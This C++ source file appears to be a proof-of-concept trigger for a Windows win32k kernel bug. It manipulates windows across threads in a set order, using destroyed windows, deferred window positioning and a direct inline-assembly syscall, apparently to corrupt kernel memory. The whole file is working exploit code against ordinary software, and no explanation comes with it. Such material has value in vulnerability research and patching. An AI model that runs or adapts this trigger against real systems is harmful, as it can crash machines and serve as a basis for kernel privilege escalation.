/*
 * compile:
 * cl.exe bug339.cpp user32.lib
 */

#include <stdio.h>
#include <tchar.h>
#include <Windows.h>

/* globals ... */
HWND ghwnd1 = 0x0;
HMENU ghmenu1 = 0x0;
HANDLE ghevent1 = 0x0;
HWND ghwnd2 = 0x0;
HWND ghwnd3 = 0x0;
HDWP ghdwp1 = 0x0;
HANDLE ghevent2 = 0x0;

__declspec(noinline) int __stdcall RedrawFrame(HWND hwnd) {
 	__asm {
		push 0x5a
		push hwnd
		push 0x0
		mov eax, 0x1147
		mov edx, 0x7ffe0300
		call dword ptr [edx]
		add esp, 0xc
	}
}

DWORD thread2(LPVOID arg) {
	printf("[-] thread2 started\n");
	HWND hwnd2 = CreateWindowExA(0x4a2080,"class2","bar",0x3130000,0xbb0384cd,0xa6,0x53,0x9f,0x0,0x0,0x0,0x0);
	printf("[-] hwnd2: %08x\n", hwnd2);
	SetEvent(ghevent2);
	ShowWindow(hwnd2, 1);
	UpdateWindow(hwnd2);
	return 0;
}

/* msg counters */
DWORD wp1_81 = 0;
DWORD wp1_83 = 0;
DWORD wp1_1c = 0;
DWORD wp1_6 = 0;
DWORD wp1_7 = 0;

LRESULT wndproc1(HWND hwnd, UINT msg, WPARAM wparam, LPARAM lparam) {
	printf("[-] wndproc1: hwnd:%08x msg:%08x wparam:%08x lparam:%08x\n", hwnd, msg, wparam, lparam);
	if( msg == 0x83 ) {
		DWORD count = wp1_83++;
		if(count == 0) {
			CloseWindow(ghwnd2);
			DestroyWindow(ghwnd2);
			ghwnd3 = CreateWindowExA(0xa181420, "DDEMLEvent", "bar",0x80600000,0xd6,0x926cfbb7,0xb5,0xfc,0x0,0x0,0x0,0x0);
			printf("[-] ghwnd3: %08x\n", ghwnd3);
		}
		if(count == 6) {
			ghdwp1 = BeginDeferWindowPos(0x7);
			printf("[-] ghdwp1: %08x\n", ghdwp1);
		}
		if(count == 7) {
			DeferWindowPos(ghdwp1, ghwnd3, ghwnd1, 0x60, 0x73, 0x1e255102, 0xb0,0x26);
			RedrawFrame(ghwnd1);
			COMBOBOXINFO c;
			GetComboBoxInfo(ghwnd1, &c);
		}
		if(count == 8) {
			ghevent2 = CreateEventA(NULL, true, false, "ghevent2");
			CreateThread(0,0,(LPTHREAD_START_ROUTINE)thread2,0,0,0);
			WaitForSingleObject(ghevent2, INFINITE);
		}
	}
	if( msg == 0x81 ) {
		DWORD count = wp1_81++;
		if(count == 0) {
			ghwnd2 = CreateWindowExA(0x8000494, "#32768", "foo", 0x9050000, 0x8eacd08, 0x9d, 0x11, 0x57, 0,0,0,0);
			printf("[-] ghwnd2: %08x\n", ghwnd2);
		}
	}
	if( msg == 0x1c ) {
		DWORD count = wp1_1c++;
		if(count == 1) {
			SetActiveWindow(ghwnd3);
			SetWindowRgn(ghwnd1, 0x0, 0x1);
		}
	}
	if( msg == 0x6 ) {
		DWORD count = wp1_6++;
		if(count == 1) {
			CreateWindowExA(0x28, "class1", "foo",0x10e10000, 0xc9,0x82,0xa8,0xa90c9149,0,0,0,0);
		}
	}
	if( msg == 0x7 ) {
		DWORD count = wp1_7++;
		if(count == 0) {
			MoveWindow(ghwnd1, 0xde32fec0, 0x2a7a9bd7, 0x482e3013, 0xae, 0x1);
		}
	}
	if(msg==0x2) {
		PostQuitMessage(0);
		return 0;
	} else {
		return DefWindowProcA(hwnd, msg, wparam, lparam);
	}
}

/* msg counters */
DWORD wp2_24 = 0;

LRESULT wndproc2(HWND hwnd, UINT msg, WPARAM wparam, LPARAM lparam) {
	printf("[-] wndproc2: hwnd:%08x msg:%08x wparam:%08x lparam:%08x\n", hwnd, msg, wparam, lparam);
	if( msg == 0x24 ) {
		DWORD count = wp1_6++;
		if(count == 6) {
			EndDeferWindowPos(ghdwp1);
		}
	}
	if(msg==0x2) {
		PostQuitMessage(0);
		return 0;
	} else {
		return DefWindowProcA(hwnd, msg, wparam, lparam);
	}
}

DWORD thread1(LPVOID arg) {
	printf("[-] thread1 started\n");
	ghwnd1 = CreateWindowExA(0x40109,"class1","foo",0x28020000,0xda,0xce,0xaa2eb92f,0x8b5358bc,0x0,ghmenu1,0x0,0x0);
	printf("[-] ghwnd1: %08x\n", ghwnd1);
	SetEvent(ghevent1);
	ShowWindow(ghwnd1, 1);
	UpdateWindow(ghwnd1);
	return 0;
}

int _tmain(int argc, _TCHAR* argv[])
{
	WNDCLASS wndclass;
	wndclass.style = 0x242e0;
	wndclass.lpfnWndProc = (WNDPROC)wndproc1;
	wndclass.cbClsExtra = 30;
	wndclass.cbWndExtra = 30;
	wndclass.hInstance = (HINSTANCE)0xbeef;
	wndclass.hIcon = (HCURSOR)0xbeef;
	wndclass.hCursor = (HCURSOR)0xbeef;
	wndclass.hbrBackground = (HBRUSH)0xbeef;
	wndclass.lpszMenuName = 0;
	wndclass.lpszClassName = "class1";
	RegisterClassA(&wndclass);
	printf("[-] registered class1\n");
	wndclass.lpfnWndProc = (WNDPROC)wndproc2;
	wndclass.lpszClassName = "class2";
	RegisterClassA(&wndclass);
	printf("[-] registered class2\n");
	ghmenu1 = CreatePopupMenu();
	printf("[-] ghmenu1: %x\n", ghmenu1);
	ghevent1 = CreateEventA(NULL, true, false, "ghevent1");
	CreateThread(0,0,(LPTHREAD_START_ROUTINE)thread1,0,0,0);
	WaitForSingleObject(ghevent1, INFINITE);
	ShowWindow(ghwnd1, 7);
}
